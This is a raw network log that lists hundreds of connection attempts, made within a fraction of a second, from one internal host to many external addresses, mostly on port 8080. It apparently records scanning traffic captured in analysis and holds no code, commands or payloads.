Jan 26, 2025 01:43:30.818579912 CET	47566	8080	192.168.2.13	62.5.149.58
Jan 26, 2025 01:43:30.818588972 CET	47566	8080	192.168.2.13	62.33.67.116
Jan 26, 2025 01:43:30.818598986 CET	47566	8080	192.168.2.13	62.201.27.98
Jan 26, 2025 01:43:30.818598986 CET	47566	8080	192.168.2.13	95.14.166.221
Jan 26, 2025 01:43:30.818598986 CET	47566	8080	192.168.2.13	94.177.184.63
Jan 26, 2025 01:43:30.818607092 CET	47566	8080	192.168.2.13	85.179.245.94
Jan 26, 2025 01:43:30.818612099 CET	47566	8080	192.168.2.13	85.200.157.108
Jan 26, 2025 01:43:30.818612099 CET	47566	8080	192.168.2.13	94.210.58.72
Jan 26, 2025 01:43:30.818613052 CET	47566	8080	192.168.2.13	94.5.88.215
Jan 26, 2025 01:43:30.818617105 CET	47566	8080	192.168.2.13	85.252.145.94
Jan 26, 2025 01:43:30.818617105 CET	47566	8080	192.168.2.13	94.243.168.149
Jan 26, 2025 01:43:30.818625927 CET	47566	8080	192.168.2.13	85.115.97.113
Jan 26, 2025 01:43:30.818625927 CET	47566	8080	192.168.2.13	94.206.102.65
Jan 26, 2025 01:43:30.818628073 CET	47566	8080	192.168.2.13	62.173.183.62
Jan 26, 2025 01:43:30.818649054 CET	47566	8080	192.168.2.13	94.81.70.246
Jan 26, 2025 01:43:30.818655968 CET	47566	8080	192.168.2.13	62.229.17.187
Jan 26, 2025 01:43:30.818655968 CET	47566	8080	192.168.2.13	31.118.150.57
Jan 26, 2025 01:43:30.818655968 CET	47566	8080	192.168.2.13	85.223.253.63
Jan 26, 2025 01:43:30.818658113 CET	47566	8080	192.168.2.13	95.242.179.160
Jan 26, 2025 01:43:30.818661928 CET	47566	8080	192.168.2.13	95.74.82.185
Jan 26, 2025 01:43:30.818661928 CET	47566	8080	192.168.2.13	95.202.74.65
Jan 26, 2025 01:43:30.818665028 CET	47566	8080	192.168.2.13	85.150.99.119
Jan 26, 2025 01:43:30.818666935 CET	47566	8080	192.168.2.13	95.199.131.253
Jan 26, 2025 01:43:30.818680048 CET	47566	8080	192.168.2.13	85.247.95.217
Jan 26, 2025 01:43:30.818680048 CET	47566	8080	192.168.2.13	85.53.246.40
Jan 26, 2025 01:43:30.818680048 CET	47566	8080	192.168.2.13	62.242.142.25
Jan 26, 2025 01:43:30.818684101 CET	47566	8080	192.168.2.13	94.151.241.102
Jan 26, 2025 01:43:30.818687916 CET	47566	8080	192.168.2.13	31.53.159.44
Jan 26, 2025 01:43:30.818690062 CET	47566	8080	192.168.2.13	85.54.149.14
Jan 26, 2025 01:43:30.818690062 CET	47566	8080	192.168.2.13	85.184.229.1
Jan 26, 2025 01:43:30.818690062 CET	47566	8080	192.168.2.13	31.115.132.169
Jan 26, 2025 01:43:30.818694115 CET	47566	8080	192.168.2.13	94.97.209.194
Jan 26, 2025 01:43:30.818703890 CET	47566	8080	192.168.2.13	94.198.195.160
Jan 26, 2025 01:43:30.818711042 CET	47566	8080	192.168.2.13	94.221.75.162
Jan 26, 2025 01:43:30.818717957 CET	47566	8080	192.168.2.13	85.188.143.45
Jan 26, 2025 01:43:30.818718910 CET	47566	8080	192.168.2.13	31.86.167.134
Jan 26, 2025 01:43:30.818721056 CET	47566	8080	192.168.2.13	31.48.91.3
Jan 26, 2025 01:43:30.818721056 CET	47566	8080	192.168.2.13	62.119.77.209
Jan 26, 2025 01:43:30.818721056 CET	47566	8080	192.168.2.13	31.145.235.222
Jan 26, 2025 01:43:30.818721056 CET	47566	8080	192.168.2.13	31.140.108.205
Jan 26, 2025 01:43:30.818721056 CET	47566	8080	192.168.2.13	94.190.31.138
Jan 26, 2025 01:43:30.818726063 CET	47566	8080	192.168.2.13	31.146.60.193
Jan 26, 2025 01:43:30.818728924 CET	47566	8080	192.168.2.13	62.140.132.54
Jan 26, 2025 01:43:30.818732023 CET	47566	8080	192.168.2.13	95.148.89.131
Jan 26, 2025 01:43:30.818743944 CET	47566	8080	192.168.2.13	31.120.79.57
Jan 26, 2025 01:43:30.818752050 CET	47566	8080	192.168.2.13	94.74.72.130
Jan 26, 2025 01:43:30.818752050 CET	47566	8080	192.168.2.13	95.236.24.88
Jan 26, 2025 01:43:30.818773031 CET	47566	8080	192.168.2.13	31.203.68.132
Jan 26, 2025 01:43:30.818773985 CET	47566	8080	192.168.2.13	85.60.160.20
Jan 26, 2025 01:43:30.818773031 CET	47566	8080	192.168.2.13	31.233.164.135
Jan 26, 2025 01:43:30.818774939 CET	47566	8080	192.168.2.13	62.249.112.122
Jan 26, 2025 01:43:30.818785906 CET	47566	8080	192.168.2.13	94.70.252.192
Jan 26, 2025 01:43:30.818789959 CET	47566	8080	192.168.2.13	62.222.56.70
Jan 26, 2025 01:43:30.818789959 CET	47566	8080	192.168.2.13	95.91.165.134
Jan 26, 2025 01:43:30.818790913 CET	47566	8080	192.168.2.13	95.169.20.150
Jan 26, 2025 01:43:30.818789959 CET	47566	8080	192.168.2.13	31.12.15.139
Jan 26, 2025 01:43:30.818795919 CET	47566	8080	192.168.2.13	85.38.193.252
Jan 26, 2025 01:43:30.818799019 CET	47566	8080	192.168.2.13	31.23.115.132
Jan 26, 2025 01:43:30.818799019 CET	47566	8080	192.168.2.13	95.159.10.39
Jan 26, 2025 01:43:30.818809986 CET	47566	8080	192.168.2.13	85.239.36.12
Jan 26, 2025 01:43:30.818810940 CET	47566	8080	192.168.2.13	94.128.43.179
Jan 26, 2025 01:43:30.818809986 CET	47566	8080	192.168.2.13	85.172.134.4
Jan 26, 2025 01:43:30.818810940 CET	47566	8080	192.168.2.13	62.176.254.130
Jan 26, 2025 01:43:30.818825960 CET	47566	8080	192.168.2.13	95.97.117.22
Jan 26, 2025 01:43:30.818826914 CET	47566	8080	192.168.2.13	85.120.8.0
Jan 26, 2025 01:43:30.818830967 CET	47566	8080	192.168.2.13	95.73.211.62
Jan 26, 2025 01:43:30.818830967 CET	47566	8080	192.168.2.13	31.231.151.233
Jan 26, 2025 01:43:30.818835974 CET	47566	8080	192.168.2.13	94.124.151.131
Jan 26, 2025 01:43:30.818835974 CET	47566	8080	192.168.2.13	31.50.154.205
Jan 26, 2025 01:43:30.818856001 CET	47566	8080	192.168.2.13	62.103.6.18
Jan 26, 2025 01:43:30.818856955 CET	47566	8080	192.168.2.13	94.66.86.225
Jan 26, 2025 01:43:30.818856001 CET	47566	8080	192.168.2.13	95.159.30.3
Jan 26, 2025 01:43:30.818856001 CET	47566	8080	192.168.2.13	95.115.250.15
Jan 26, 2025 01:43:30.818861961 CET	47566	8080	192.168.2.13	31.87.69.210
Jan 26, 2025 01:43:30.818861961 CET	47566	8080	192.168.2.13	31.25.224.81
Jan 26, 2025 01:43:30.818862915 CET	47566	8080	192.168.2.13	95.65.254.124
Jan 26, 2025 01:43:30.818878889 CET	47566	8080	192.168.2.13	31.134.137.246
Jan 26, 2025 01:43:30.818878889 CET	47566	8080	192.168.2.13	95.166.207.33
Jan 26, 2025 01:43:30.818880081 CET	47566	8080	192.168.2.13	62.201.39.0
Jan 26, 2025 01:43:30.818882942 CET	47566	8080	192.168.2.13	95.49.189.41
Jan 26, 2025 01:43:30.818893909 CET	47566	8080	192.168.2.13	62.5.222.50
Jan 26, 2025 01:43:30.818901062 CET	47566	8080	192.168.2.13	62.252.186.171
Jan 26, 2025 01:43:30.818907976 CET	47566	8080	192.168.2.13	85.133.117.127
Jan 26, 2025 01:43:30.818908930 CET	47566	8080	192.168.2.13	85.177.10.106
Jan 26, 2025 01:43:30.818919897 CET	47566	8080	192.168.2.13	62.36.96.152
Jan 26, 2025 01:43:30.818924904 CET	47566	8080	192.168.2.13	94.130.118.28
Jan 26, 2025 01:43:30.818927050 CET	47566	8080	192.168.2.13	94.54.84.98
Jan 26, 2025 01:43:30.818927050 CET	47566	8080	192.168.2.13	85.94.1.167
Jan 26, 2025 01:43:30.818933964 CET	47566	8080	192.168.2.13	85.98.176.148
Jan 26, 2025 01:43:30.818933964 CET	47566	8080	192.168.2.13	85.102.72.143
Jan 26, 2025 01:43:30.818945885 CET	47566	8080	192.168.2.13	94.89.116.239
Jan 26, 2025 01:43:30.818947077 CET	47566	8080	192.168.2.13	62.187.209.62
Jan 26, 2025 01:43:30.818947077 CET	47566	8080	192.168.2.13	85.158.25.59
Jan 26, 2025 01:43:30.818955898 CET	47566	8080	192.168.2.13	95.169.174.204
Jan 26, 2025 01:43:30.818958044 CET	47566	8080	192.168.2.13	31.10.229.137
Jan 26, 2025 01:43:30.818958044 CET	47566	8080	192.168.2.13	62.15.2.203
Jan 26, 2025 01:43:30.818959951 CET	47566	8080	192.168.2.13	62.243.8.44
Jan 26, 2025 01:43:30.818964958 CET	47566	8080	192.168.2.13	94.131.112.18
Jan 26, 2025 01:43:30.818968058 CET	47566	8080	192.168.2.13	95.204.239.33
Jan 26, 2025 01:43:30.818969011 CET	47566	8080	192.168.2.13	85.200.76.231
Jan 26, 2025 01:43:30.818973064 CET	47566	8080	192.168.2.13	31.188.90.57
Jan 26, 2025 01:43:30.818979025 CET	47566	8080	192.168.2.13	62.60.23.243
Jan 26, 2025 01:43:30.818999052 CET	47566	8080	192.168.2.13	95.140.107.79
Jan 26, 2025 01:43:30.818999052 CET	47566	8080	192.168.2.13	85.1.71.52
Jan 26, 2025 01:43:30.819000959 CET	47566	8080	192.168.2.13	31.173.100.128
Jan 26, 2025 01:43:30.819000959 CET	47566	8080	192.168.2.13	85.6.86.200
Jan 26, 2025 01:43:30.819000959 CET	47566	8080	192.168.2.13	85.226.211.122
Jan 26, 2025 01:43:30.819006920 CET	47566	8080	192.168.2.13	95.195.246.130
Jan 26, 2025 01:43:30.819006920 CET	47566	8080	192.168.2.13	94.221.217.167
Jan 26, 2025 01:43:30.819008112 CET	47566	8080	192.168.2.13	95.59.104.252
Jan 26, 2025 01:43:30.819008112 CET	47566	8080	192.168.2.13	62.67.75.223
Jan 26, 2025 01:43:30.819010019 CET	47566	8080	192.168.2.13	85.6.241.244
Jan 26, 2025 01:43:30.819015026 CET	47566	8080	192.168.2.13	62.200.168.109
Jan 26, 2025 01:43:30.819026947 CET	47566	8080	192.168.2.13	94.49.18.154
Jan 26, 2025 01:43:30.819026947 CET	47566	8080	192.168.2.13	62.68.166.170
Jan 26, 2025 01:43:30.819031954 CET	47566	8080	192.168.2.13	85.133.163.144
Jan 26, 2025 01:43:30.819031954 CET	47566	8080	192.168.2.13	62.55.105.190
Jan 26, 2025 01:43:30.819035053 CET	47566	8080	192.168.2.13	94.92.148.3
Jan 26, 2025 01:43:30.819036007 CET	47566	8080	192.168.2.13	85.133.10.252
Jan 26, 2025 01:43:30.819037914 CET	47566	8080	192.168.2.13	62.247.79.57
Jan 26, 2025 01:43:30.819055080 CET	47566	8080	192.168.2.13	31.149.83.253
Jan 26, 2025 01:43:30.819076061 CET	53306	37215	192.168.2.13	197.151.30.28
Jan 26, 2025 01:43:30.819076061 CET	47566	8080	192.168.2.13	94.185.208.177
Jan 26, 2025 01:43:30.819076061 CET	47566	8080	192.168.2.13	94.239.230.189
Jan 26, 2025 01:43:30.819080114 CET	47566	8080	192.168.2.13	62.215.110.184
Jan 26, 2025 01:43:30.819080114 CET	47566	8080	192.168.2.13	95.143.196.237
Jan 26, 2025 01:43:30.819080114 CET	47566	8080	192.168.2.13	85.13.4.50
Jan 26, 2025 01:43:30.819081068 CET	47566	8080	192.168.2.13	31.210.159.25
Jan 26, 2025 01:43:30.819080114 CET	47566	8080	192.168.2.13	94.65.232.17
Jan 26, 2025 01:43:30.819087029 CET	47566	8080	192.168.2.13	95.189.165.33
Jan 26, 2025 01:43:30.819091082 CET	47566	8080	192.168.2.13	94.70.136.188
Jan 26, 2025 01:43:30.819099903 CET	47566	8080	192.168.2.13	94.119.181.77
Jan 26, 2025 01:43:30.819101095 CET	47566	8080	192.168.2.13	62.1.155.193
Jan 26, 2025 01:43:30.819103003 CET	47566	8080	192.168.2.13	95.239.46.202
Jan 26, 2025 01:43:30.819103956 CET	47566	8080	192.168.2.13	94.106.184.23
Jan 26, 2025 01:43:30.819103956 CET	47566	8080	192.168.2.13	94.98.111.17
Jan 26, 2025 01:43:30.819118977 CET	47566	8080	192.168.2.13	31.230.35.109
Jan 26, 2025 01:43:30.819119930 CET	47566	8080	192.168.2.13	95.117.53.161
Jan 26, 2025 01:43:30.819122076 CET	47566	8080	192.168.2.13	62.75.193.192
Jan 26, 2025 01:43:30.819133043 CET	47566	8080	192.168.2.13	94.94.198.179
Jan 26, 2025 01:43:30.819133997 CET	47566	8080	192.168.2.13	85.1.214.205
Jan 26, 2025 01:43:30.819133043 CET	47566	8080	192.168.2.13	95.62.144.245
Jan 26, 2025 01:43:30.819133997 CET	47566	8080	192.168.2.13	94.138.235.27
Jan 26, 2025 01:43:30.819137096 CET	47566	8080	192.168.2.13	95.177.144.36
Jan 26, 2025 01:43:30.819149017 CET	47566	8080	192.168.2.13	62.231.67.27
Jan 26, 2025 01:43:30.819155931 CET	47566	8080	192.168.2.13	62.211.185.248
Jan 26, 2025 01:43:30.819164038 CET	47566	8080	192.168.2.13	94.98.96.215
Jan 26, 2025 01:43:30.819164038 CET	47566	8080	192.168.2.13	62.36.104.60
Jan 26, 2025 01:43:30.819174051 CET	47566	8080	192.168.2.13	95.160.42.89
Jan 26, 2025 01:43:30.819175005 CET	47566	8080	192.168.2.13	94.241.132.6
Jan 26, 2025 01:43:30.819175005 CET	47566	8080	192.168.2.13	85.163.215.9
Jan 26, 2025 01:43:30.819176912 CET	47566	8080	192.168.2.13	94.70.134.77
Jan 26, 2025 01:43:30.819179058 CET	47566	8080	192.168.2.13	62.82.49.196
Jan 26, 2025 01:43:30.819185019 CET	47566	8080	192.168.2.13	94.45.101.114
Jan 26, 2025 01:43:30.819185019 CET	47566	8080	192.168.2.13	62.172.172.4
Jan 26, 2025 01:43:30.819195986 CET	47566	8080	192.168.2.13	95.220.237.124
Jan 26, 2025 01:43:30.819220066 CET	43518	80	192.168.2.13	95.0.89.161
Jan 26, 2025 01:43:30.819225073 CET	47566	8080	192.168.2.13	31.166.153.101
Jan 26, 2025 01:43:30.819225073 CET	47566	8080	192.168.2.13	95.10.4.135
Jan 26, 2025 01:43:30.819227934 CET	47566	8080	192.168.2.13	94.150.75.81
Jan 26, 2025 01:43:30.819231987 CET	47566	8080	192.168.2.13	62.28.42.176
Jan 26, 2025 01:43:30.819247007 CET	47566	8080	192.168.2.13	62.207.79.59
Jan 26, 2025 01:43:30.819248915 CET	47566	8080	192.168.2.13	94.14.38.28
Jan 26, 2025 01:43:30.819248915 CET	47566	8080	192.168.2.13	62.178.132.202
Jan 26, 2025 01:43:30.819252968 CET	47566	8080	192.168.2.13	31.121.54.29
Jan 26, 2025 01:43:30.819256067 CET	47566	8080	192.168.2.13	94.95.172.185
Jan 26, 2025 01:43:30.819257021 CET	47566	8080	192.168.2.13	62.201.209.188
Jan 26, 2025 01:43:30.819263935 CET	47566	8080	192.168.2.13	85.69.187.187
Jan 26, 2025 01:43:30.819264889 CET	47566	8080	192.168.2.13	85.114.249.146
Jan 26, 2025 01:43:30.819264889 CET	47566	8080	192.168.2.13	85.245.142.70
Jan 26, 2025 01:43:30.819264889 CET	47566	8080	192.168.2.13	95.181.149.62
Jan 26, 2025 01:43:30.819267988 CET	47566	8080	192.168.2.13	85.231.91.54
Jan 26, 2025 01:43:30.819271088 CET	47566	8080	192.168.2.13	85.16.33.240
Jan 26, 2025 01:43:30.819271088 CET	47566	8080	192.168.2.13	31.13.91.19
Jan 26, 2025 01:43:30.819272995 CET	47566	8080	192.168.2.13	94.40.231.250
Jan 26, 2025 01:43:30.819274902 CET	47566	8080	192.168.2.13	95.93.250.26
Jan 26, 2025 01:43:30.819277048 CET	47566	8080	192.168.2.13	62.132.187.71
Jan 26, 2025 01:43:30.819292068 CET	47566	8080	192.168.2.13	94.31.124.13
Jan 26, 2025 01:43:30.819293022 CET	47566	8080	192.168.2.13	31.20.165.229
Jan 26, 2025 01:43:30.819298983 CET	47566	8080	192.168.2.13	62.189.36.171
Jan 26, 2025 01:43:30.819298983 CET	47566	8080	192.168.2.13	62.233.198.254
Jan 26, 2025 01:43:30.819298983 CET	47566	8080	192.168.2.13	95.211.255.198
Jan 26, 2025 01:43:30.819299936 CET	47566	8080	192.168.2.13	62.16.229.102
Jan 26, 2025 01:43:30.819298983 CET	47566	8080	192.168.2.13	95.73.3.173
Jan 26, 2025 01:43:30.819305897 CET	47566	8080	192.168.2.13	85.135.200.48
Jan 26, 2025 01:43:30.819305897 CET	47566	8080	192.168.2.13	31.42.180.203
Jan 26, 2025 01:43:30.819307089 CET	47566	8080	192.168.2.13	94.22.54.166
Jan 26, 2025 01:43:30.819310904 CET	47566	8080	192.168.2.13	85.223.163.57
Jan 26, 2025 01:43:30.819310904 CET	47566	8080	192.168.2.13	85.246.227.4
Jan 26, 2025 01:43:30.819320917 CET	47566	8080	192.168.2.13	62.40.189.134
Jan 26, 2025 01:43:30.819327116 CET	47566	8080	192.168.2.13	94.209.121.168
Jan 26, 2025 01:43:30.819329023 CET	47566	8080	192.168.2.13	62.115.215.116
Jan 26, 2025 01:43:30.819330931 CET	47566	8080	192.168.2.13	94.58.204.202
Jan 26, 2025 01:43:30.819350004 CET	47566	8080	192.168.2.13	94.179.53.115
Jan 26, 2025 01:43:30.819350004 CET	47566	8080	192.168.2.13	85.165.28.65
Jan 26, 2025 01:43:30.819356918 CET	47566	8080	192.168.2.13	62.224.18.47
Jan 26, 2025 01:43:30.819356918 CET	47566	8080	192.168.2.13	94.151.3.179
Jan 26, 2025 01:43:30.819358110 CET	47566	8080	192.168.2.13	85.20.201.123
Jan 26, 2025 01:43:30.819358110 CET	47566	8080	192.168.2.13	95.40.144.80
Jan 26, 2025 01:43:30.819360018 CET	47566	8080	192.168.2.13	94.219.65.179
Jan 26, 2025 01:43:30.819361925 CET	47566	8080	192.168.2.13	94.55.163.72
Jan 26, 2025 01:43:30.819372892 CET	47566	8080	192.168.2.13	85.60.235.130
Jan 26, 2025 01:43:30.819372892 CET	47566	8080	192.168.2.13	62.234.65.175
Jan 26, 2025 01:43:30.819372892 CET	47566	8080	192.168.2.13	31.21.249.157
Jan 26, 2025 01:43:30.819377899 CET	47566	8080	192.168.2.13	85.242.119.106
Jan 26, 2025 01:43:30.819379091 CET	47566	8080	192.168.2.13	95.24.194.3
Jan 26, 2025 01:43:30.819389105 CET	47566	8080	192.168.2.13	94.249.137.4
Jan 26, 2025 01:43:30.819391012 CET	47566	8080	192.168.2.13	62.7.12.155
Jan 26, 2025 01:43:30.819391966 CET	47566	8080	192.168.2.13	85.223.197.34
Jan 26, 2025 01:43:30.819391012 CET	47566	8080	192.168.2.13	62.15.246.158
Jan 26, 2025 01:43:30.819397926 CET	47566	8080	192.168.2.13	94.41.174.205
Jan 26, 2025 01:43:30.819399118 CET	47566	8080	192.168.2.13	94.62.1.98
Jan 26, 2025 01:43:30.819405079 CET	47566	8080	192.168.2.13	95.86.183.38
Jan 26, 2025 01:43:30.819408894 CET	47566	8080	192.168.2.13	85.233.171.74
Jan 26, 2025 01:43:30.819408894 CET	47566	8080	192.168.2.13	31.19.207.128
Jan 26, 2025 01:43:30.819411993 CET	47566	8080	192.168.2.13	95.141.120.42
Jan 26, 2025 01:43:30.819411993 CET	47566	8080	192.168.2.13	62.140.77.92
Jan 26, 2025 01:43:30.819421053 CET	47566	8080	192.168.2.13	95.76.155.166
Jan 26, 2025 01:43:30.819421053 CET	47566	8080	192.168.2.13	94.87.31.222
Jan 26, 2025 01:43:30.819427013 CET	47566	8080	192.168.2.13	85.34.106.12
Jan 26, 2025 01:43:30.819442034 CET	47566	8080	192.168.2.13	94.247.84.23
Jan 26, 2025 01:43:30.819442034 CET	47566	8080	192.168.2.13	95.250.116.93
Jan 26, 2025 01:43:30.819443941 CET	47566	8080	192.168.2.13	62.95.70.4
Jan 26, 2025 01:43:30.819446087 CET	47566	8080	192.168.2.13	31.186.138.33
Jan 26, 2025 01:43:30.819462061 CET	47566	8080	192.168.2.13	31.26.82.112
Jan 26, 2025 01:43:30.819472075 CET	47566	8080	192.168.2.13	95.99.144.46
Jan 26, 2025 01:43:30.819472075 CET	47566	8080	192.168.2.13	95.167.23.96
Jan 26, 2025 01:43:30.819472075 CET	47566	8080	192.168.2.13	31.192.109.249
Jan 26, 2025 01:43:30.819472075 CET	47566	8080	192.168.2.13	95.236.24.160
Jan 26, 2025 01:43:30.819473028 CET	47566	8080	192.168.2.13	94.81.165.114
Jan 26, 2025 01:43:30.819475889 CET	47566	8080	192.168.2.13	85.63.83.179
Jan 26, 2025 01:43:30.819483995 CET	47566	8080	192.168.2.13	95.27.66.21
Jan 26, 2025 01:43:30.819493055 CET	47566	8080	192.168.2.13	85.173.30.206
Jan 26, 2025 01:43:30.819493055 CET	47566	8080	192.168.2.13	31.135.202.189
Jan 26, 2025 01:43:30.819494009 CET	47566	8080	192.168.2.13	94.14.238.149
Jan 26, 2025 01:43:30.819499969 CET	47566	8080	192.168.2.13	31.96.64.37
Jan 26, 2025 01:43:30.819500923 CET	47566	8080	192.168.2.13	94.43.40.164
Jan 26, 2025 01:43:30.819503069 CET	47566	8080	192.168.2.13	31.154.200.210
Jan 26, 2025 01:43:30.819506884 CET	47566	8080	192.168.2.13	94.85.113.39
Jan 26, 2025 01:43:30.819510937 CET	47566	8080	192.168.2.13	95.242.200.233
Jan 26, 2025 01:43:30.819510937 CET	47566	8080	192.168.2.13	85.15.174.224
Jan 26, 2025 01:43:30.819510937 CET	47566	8080	192.168.2.13	62.107.8.220
Jan 26, 2025 01:43:30.819521904 CET	47566	8080	192.168.2.13	31.161.146.222
Jan 26, 2025 01:43:30.819524050 CET	47566	8080	192.168.2.13	62.238.33.194
Jan 26, 2025 01:43:30.819524050 CET	47566	8080	192.168.2.13	95.30.182.1
Jan 26, 2025 01:43:30.819524050 CET	47566	8080	192.168.2.13	62.103.4.4
Jan 26, 2025 01:43:30.819529057 CET	47566	8080	192.168.2.13	94.156.186.20
Jan 26, 2025 01:43:30.819529057 CET	47566	8080	192.168.2.13	85.200.138.11
Jan 26, 2025 01:43:30.819529057 CET	47566	8080	192.168.2.13	31.170.102.97
Jan 26, 2025 01:43:30.819533110 CET	47566	8080	192.168.2.13	62.86.85.244
Jan 26, 2025 01:43:30.819533110 CET	47566	8080	192.168.2.13	62.182.119.142
Jan 26, 2025 01:43:30.819555998 CET	47566	8080	192.168.2.13	62.135.101.103
Jan 26, 2025 01:43:30.819555998 CET	47566	8080	192.168.2.13	94.181.185.174
Jan 26, 2025 01:43:30.819561005 CET	47566	8080	192.168.2.13	62.196.158.176
Jan 26, 2025 01:43:30.819565058 CET	47566	8080	192.168.2.13	95.248.49.100
Jan 26, 2025 01:43:30.819566965 CET	47566	8080	192.168.2.13	31.139.236.174
Jan 26, 2025 01:43:30.819566965 CET	47566	8080	192.168.2.13	95.48.146.223
Jan 26, 2025 01:43:30.819567919 CET	47566	8080	192.168.2.13	85.175.3.34
Jan 26, 2025 01:43:30.819567919 CET	47566	8080	192.168.2.13	94.175.67.166
Jan 26, 2025 01:43:30.819580078 CET	47566	8080	192.168.2.13	62.252.30.89
Jan 26, 2025 01:43:30.819582939 CET	47566	8080	192.168.2.13	62.126.91.242
Jan 26, 2025 01:43:30.819582939 CET	47566	8080	192.168.2.13	62.225.35.46
Jan 26, 2025 01:43:30.819582939 CET	47566	8080	192.168.2.13	95.185.253.162
Jan 26, 2025 01:43:30.819585085 CET	47566	8080	192.168.2.13	94.207.0.41
Jan 26, 2025 01:43:30.819582939 CET	47566	8080	192.168.2.13	31.100.7.94
Jan 26, 2025 01:43:30.819585085 CET	47566	8080	192.168.2.13	31.96.35.85
Jan 26, 2025 01:43:30.819586039 CET	47566	8080	192.168.2.13	95.20.152.139
Jan 26, 2025 01:43:30.819585085 CET	47566	8080	192.168.2.13	95.129.15.169
Jan 26, 2025 01:43:30.819582939 CET	47566	8080	192.168.2.13	95.105.133.62
Jan 26, 2025 01:43:30.819583893 CET	47566	8080	192.168.2.13	95.248.68.111
Jan 26, 2025 01:43:30.819597960 CET	47566	8080	192.168.2.13	95.234.185.160
Jan 26, 2025 01:43:30.819605112 CET	47566	8080	192.168.2.13	94.90.43.239
Jan 26, 2025 01:43:30.819605112 CET	47566	8080	192.168.2.13	62.255.247.170
Jan 26, 2025 01:43:30.819610119 CET	47566	8080	192.168.2.13	85.122.169.96
Jan 26, 2025 01:43:30.819611073 CET	47566	8080	192.168.2.13	85.224.193.49
Jan 26, 2025 01:43:30.819611073 CET	47566	8080	192.168.2.13	31.33.212.242
Jan 26, 2025 01:43:30.819611073 CET	47566	8080	192.168.2.13	31.49.100.60
Jan 26, 2025 01:43:30.819612980 CET	47566	8080	192.168.2.13	31.168.180.58
Jan 26, 2025 01:43:30.819618940 CET	47566	8080	192.168.2.13	31.48.111.233
Jan 26, 2025 01:43:30.819618940 CET	47566	8080	192.168.2.13	85.60.110.71
Jan 26, 2025 01:43:30.819618940 CET	47566	8080	192.168.2.13	62.41.6.161
Jan 26, 2025 01:43:30.819628000 CET	47566	8080	192.168.2.13	85.106.52.177
Jan 26, 2025 01:43:30.819638014 CET	47566	8080	192.168.2.13	85.167.106.175
Jan 26, 2025 01:43:30.819638968 CET	47566	8080	192.168.2.13	31.87.4.43
Jan 26, 2025 01:43:30.819644928 CET	47566	8080	192.168.2.13	95.137.36.127
Jan 26, 2025 01:43:30.819653988 CET	47566	8080	192.168.2.13	62.65.84.91
Jan 26, 2025 01:43:30.819654942 CET	47566	8080	192.168.2.13	94.131.80.201
Jan 26, 2025 01:43:30.819660902 CET	47566	8080	192.168.2.13	31.148.233.250
Jan 26, 2025 01:43:30.819664001 CET	47566	8080	192.168.2.13	62.187.82.239
Jan 26, 2025 01:43:30.819669008 CET	47566	8080	192.168.2.13	85.7.192.81
Jan 26, 2025 01:43:30.819673061 CET	47566	8080	192.168.2.13	31.213.146.54
Jan 26, 2025 01:43:30.819673061 CET	47566	8080	192.168.2.13	94.78.70.227
Jan 26, 2025 01:43:30.819673061 CET	47566	8080	192.168.2.13	94.217.211.153
Jan 26, 2025 01:43:30.819673061 CET	47566	8080	192.168.2.13	62.79.169.73
Jan 26, 2025 01:43:30.819675922 CET	47566	8080	192.168.2.13	95.70.215.9
Jan 26, 2025 01:43:30.819675922 CET	47566	8080	192.168.2.13	94.169.55.229
Jan 26, 2025 01:43:30.819679022 CET	47566	8080	192.168.2.13	95.106.51.109
Jan 26, 2025 01:43:30.819689989 CET	47566	8080	192.168.2.13	95.86.0.10
Jan 26, 2025 01:43:30.819693089 CET	47566	8080	192.168.2.13	95.200.118.228
Jan 26, 2025 01:43:30.819693089 CET	47566	8080	192.168.2.13	95.89.24.247
Jan 26, 2025 01:43:30.819693089 CET	47566	8080	192.168.2.13	85.86.159.214
Jan 26, 2025 01:43:30.819695950 CET	47566	8080	192.168.2.13	85.14.97.204
Jan 26, 2025 01:43:30.819715977 CET	47566	8080	192.168.2.13	94.8.111.49
Jan 26, 2025 01:43:30.819724083 CET	47566	8080	192.168.2.13	95.244.174.219
Jan 26, 2025 01:43:30.819724083 CET	47566	8080	192.168.2.13	94.161.1.31
Jan 26, 2025 01:43:30.819725990 CET	47566	8080	192.168.2.13	94.181.245.114
Jan 26, 2025 01:43:30.819725990 CET	47566	8080	192.168.2.13	85.50.145.129
Jan 26, 2025 01:43:30.819727898 CET	47566	8080	192.168.2.13	95.39.97.228
Jan 26, 2025 01:43:30.819730043 CET	47566	8080	192.168.2.13	31.46.69.174
Jan 26, 2025 01:43:30.819735050 CET	47566	8080	192.168.2.13	62.122.116.34
Jan 26, 2025 01:43:30.819739103 CET	47566	8080	192.168.2.13	85.241.240.32
Jan 26, 2025 01:43:30.819746017 CET	47566	8080	192.168.2.13	94.218.44.82
Jan 26, 2025 01:43:30.819746017 CET	47566	8080	192.168.2.13	95.11.151.34
Jan 26, 2025 01:43:30.819746017 CET	47566	8080	192.168.2.13	31.11.61.135
Jan 26, 2025 01:43:30.819749117 CET	47566	8080	192.168.2.13	94.209.28.225
Jan 26, 2025 01:43:30.819756985 CET	47566	8080	192.168.2.13	95.119.4.126
Jan 26, 2025 01:43:30.819757938 CET	47566	8080	192.168.2.13	85.98.58.249
Jan 26, 2025 01:43:30.819763899 CET	47566	8080	192.168.2.13	94.174.228.181
Jan 26, 2025 01:43:30.819763899 CET	47566	8080	192.168.2.13	62.28.50.230
Jan 26, 2025 01:43:30.819765091 CET	47566	8080	192.168.2.13	94.173.242.206
Jan 26, 2025 01:43:30.819766045 CET	47566	8080	192.168.2.13	94.66.154.249
Jan 26, 2025 01:43:30.819767952 CET	47566	8080	192.168.2.13	62.223.130.37
Jan 26, 2025 01:43:30.819771051 CET	47566	8080	192.168.2.13	31.90.101.18
Jan 26, 2025 01:43:30.819777012 CET	47566	8080	192.168.2.13	85.74.163.126
Jan 26, 2025 01:43:30.819780111 CET	47566	8080	192.168.2.13	85.182.209.156
Jan 26, 2025 01:43:30.819780111 CET	47566	8080	192.168.2.13	85.214.119.93
Jan 26, 2025 01:43:30.819780111 CET	47566	8080	192.168.2.13	62.120.42.28
Jan 26, 2025 01:43:30.819782019 CET	47566	8080	192.168.2.13	95.50.3.183
Jan 26, 2025 01:43:30.819780111 CET	47566	8080	192.168.2.13	31.96.54.71
Jan 26, 2025 01:43:30.819780111 CET	47566	8080	192.168.2.13	85.253.254.150
Jan 26, 2025 01:43:30.819780111 CET	47566	8080	192.168.2.13	95.71.250.219
Jan 26, 2025 01:43:30.819785118 CET	47566	8080	192.168.2.13	85.181.89.20
Jan 26, 2025 01:43:30.819786072 CET	47566	8080	192.168.2.13	85.250.29.67
